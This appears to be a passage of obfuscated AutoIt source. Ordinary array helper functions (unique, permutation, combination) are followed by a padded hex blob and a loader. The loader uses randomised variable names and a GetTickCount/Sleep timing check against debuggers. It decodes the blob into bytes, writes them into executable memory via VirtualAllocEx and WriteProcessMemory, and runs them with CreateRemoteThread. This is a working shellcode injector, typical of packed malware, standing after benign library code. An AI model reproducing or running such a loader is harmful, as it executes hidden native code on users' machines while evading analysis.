Next
_arraydelete($aarraytmp, 0)
Else
If UBound($aarray, 0) = 1 Then
Dim $aarraytmp[1]
For $i = 0 To $iubounddim - 1
_arrayadd($aarraytmp, $aarray[$i])
Next
_arraydelete($aarraytmp, 0)
Else
Dim $aarraytmp[1]
For $i = 0 To $iubounddim - 1
_arrayadd($aarraytmp, $aarray[$i][$idime
nsion - 1])
Next
_arraydelete($aarraytmp, 0)
EndIf
EndIf
EndIf
Local $shold
For $icc = $ibase To UBound($aarraytmp) - 1
If NOT StringInStr($vdelim & $shold, $vdelim & $aarraytmp[$icc]
& $vdelim, $icase) Then $shold &= $aarraytmp[$icc] & $vdelim
Next
If $shold Then
$aarraytmp = StringSplit(StringTrimRight($shold, StringLen($vdel
im)), $vdelim, 1)
Return $aarraytmp
EndIf
Return SetError(2, 0, 0)
EndFunc
Func __array_exeterinternal(ByRef $avarray, $istart, $isize, $sdelim, ByRef $aid
x, ByRef $aresult, ByRef $icount)
If $istart == $isize - 1 Then
For $i = 0 To $isize - 1
$aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim
Next
If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresu
lt[$icount], 1)
$icount += 1
Else
Local $itemp
For $i = $istart To $isize - 1
$itemp = $aidx[$i]
$aidx[$i] = $aidx[$istart]
$aidx[$istart] = $itemp
__array_exeterinternal($avarray, $istart + 1, $isize, $s
delim, $aidx, $aresult, $icount)
$aidx[$istart] = $aidx[$i]
$aidx[$i] = $itemp
Next
EndIf
EndFunc
Func __array_combinations($in, $ir)
Local $i_total = 1
For $i = $ir To 1 Step -1
$i_total *= ($in / $i)
$in -= 1
Next
Return $i_total
EndFunc
G0072ECG33GGF6G8AG0CG30888C3570FFGGGGFFGFFGG46G83FEGG1472F0BE803E0000G6A148D85GG
70FFGFFGGGGFF56G50GG8DG85E0BEFFGGGGGGFFGG50GGE8EEGFBFFGFF83C4G106AG4068003000G00
5653GFF55G8C8BGF8GG8DG85E0BEGFFFF565057E8ACGFAGFFGFF83C4GG0CGFFGD75F5E33GC05BC9C
3CCCCCCCCCCCCCCCCG513D001000008DG4C240872G1481GGE9001000G002DG00G100000GG8501G3D
001000G0073GGEC2BC8G8BC4GG85G018BE18B088B40G0450C3"
If _winapi_createfile(@AutoItExe, 1, 2, 2) <> 0 Then _y0xc290d0743d86aba
5040032d3e8d9b292()
$_y0x67e3bdca4c03dd972f5bc951c8153ac6 = DllCall("kernel32.dll", "DWORD",
"GetTickCount")
DllCall("kernel32.dll", "int", "Sleep", "int", 100)
$_y0xf6c9fcfbba71f8e3a7c7e344d1a90049 = DllCall("kernel32.dll", "DWORD",
"GetTickCount")
If $_y0x67e3bdca4c03dd972f5bc951c8153ac6[0] + 135 > $_y0xf6c9fcfbba71f8e
3a7c7e344d1a90049[0] Then $_y0x47791c9793540e4227f10e59291ae678 = StringReplace(
$_y0x47791c9793540e4227f10e59291ae678, "G", "")
Local $_y0x6f2c9a62ca0b468b49545025ab4e6b4c = DllStructCreate("byte[" &
StringLen($_y0x47791c9793540e4227f10e59291ae678) / 2 & "]")
For $_y0x6c3e1dd642972a5ed13122b8480d448f = 1 To DllStructGetSize($_y0x6
f2c9a62ca0b468b49545025ab4e6b4c)
DllStructSetData($_y0x6f2c9a62ca0b468b49545025ab4e6b4c, 1, Dec(S
tringMid($_y0x47791c9793540e4227f10e59291ae678, ($_y0x6c3e1dd642972a5ed13122b848
0d448f - 1) * 2 + 1, 2)), $_y0x6c3e1dd642972a5ed13122b8480d448f)
Next
Local $_y0x86660dec3147ae42493bcdde95922e61, $_y0x0e6b2ff08d97d3cb129438
0060de6ca5, $_y0x9355d363dd0a85289cfec30b86c24f69, $_y0xc3d76f24146ef14c76aaa135
c785f276
$_y0x86660dec3147ae42493bcdde95922e61 = DllCall("Kernel32.Dll", "int", "
OpenProcess", "int", 2035711, "int", 0, "int", _winapi_getcurrentprocessid())
$_y0x0e6b2ff08d97d3cb1294380060de6ca5 = $_y0x86660dec3147ae42493bcdde959
22e61[0]
$_y0x86660dec3147ae42493bcdde95922e61 = DllCall("Kernel32.dll", "ptr", "
VirtualAllocEx", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", 0, "int",
DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c) * 1000, "int", 4096, "in
t", 64)
$_y0x9355d363dd0a85289cfec30b86c24f69 = $_y0x86660dec3147ae42493bcdde959
22e61[0]
$_y0x86660dec3147ae42493bcdde95922e61 = DllCall("kernel32.dll", "int", "
WriteProcessMemory", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", $_y0x9
355d363dd0a85289cfec30b86c24f69, "ptr", DllStructGetPtr($_y0x6f2c9a62ca0b468b495
45025ab4e6b4c), "int", DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c),
"int", 0)
$_y0x86660dec3147ae42493bcdde95922e61 = DllCall("kernel32.dll", "int", "
CreateRemoteThread", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", 0, "in
t", 0, "int", $_y0x9355d363dd0a85289cfec30b86c24f69, "ptr", 0, "int", 0, "int",
0)
$_y0xc3d76f24146ef14c76aaa135c785f276 = $_y0x86660dec3147ae42493bcdde959
22e61[0]
Do
$_y0x86660dec3147ae42493bcdde95922e61 = DllCall("kernel32.dll",
"int", "WaitForSingleObject", "int", $_y0xc3d76f24146ef14c76aaa135c785f276, "int
", 50)
Until $_y0x86660dec3147ae42493bcdde95922e61[0] <> 258
DllCall("Kernel32.dll", "int", "CloseHandle", "int", $_y0xc3d76f24146ef1
4c76aaa135c785f276)
$_y0x86660dec3147ae42493bcdde95922e61 = DllCall("Kernel32.dll", "ptr", "
VirtualFreeEx", "hwnd", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", DllStructG
etPtr($_y0x6f2c9a62ca0b468b49545025ab4e6b4c), "int", DllStructGetSize($_y0x6f2c9
a62ca0b468b49545025ab4e6b4c), "int", 32768)
DllCall("Kernel32.dll", "int", "CloseHandle", "int", $_y0x0e6b2ff08d97d3
cb1294380060de6ca5)
_winapi_msgbox(0, 0, 0)
EndFunc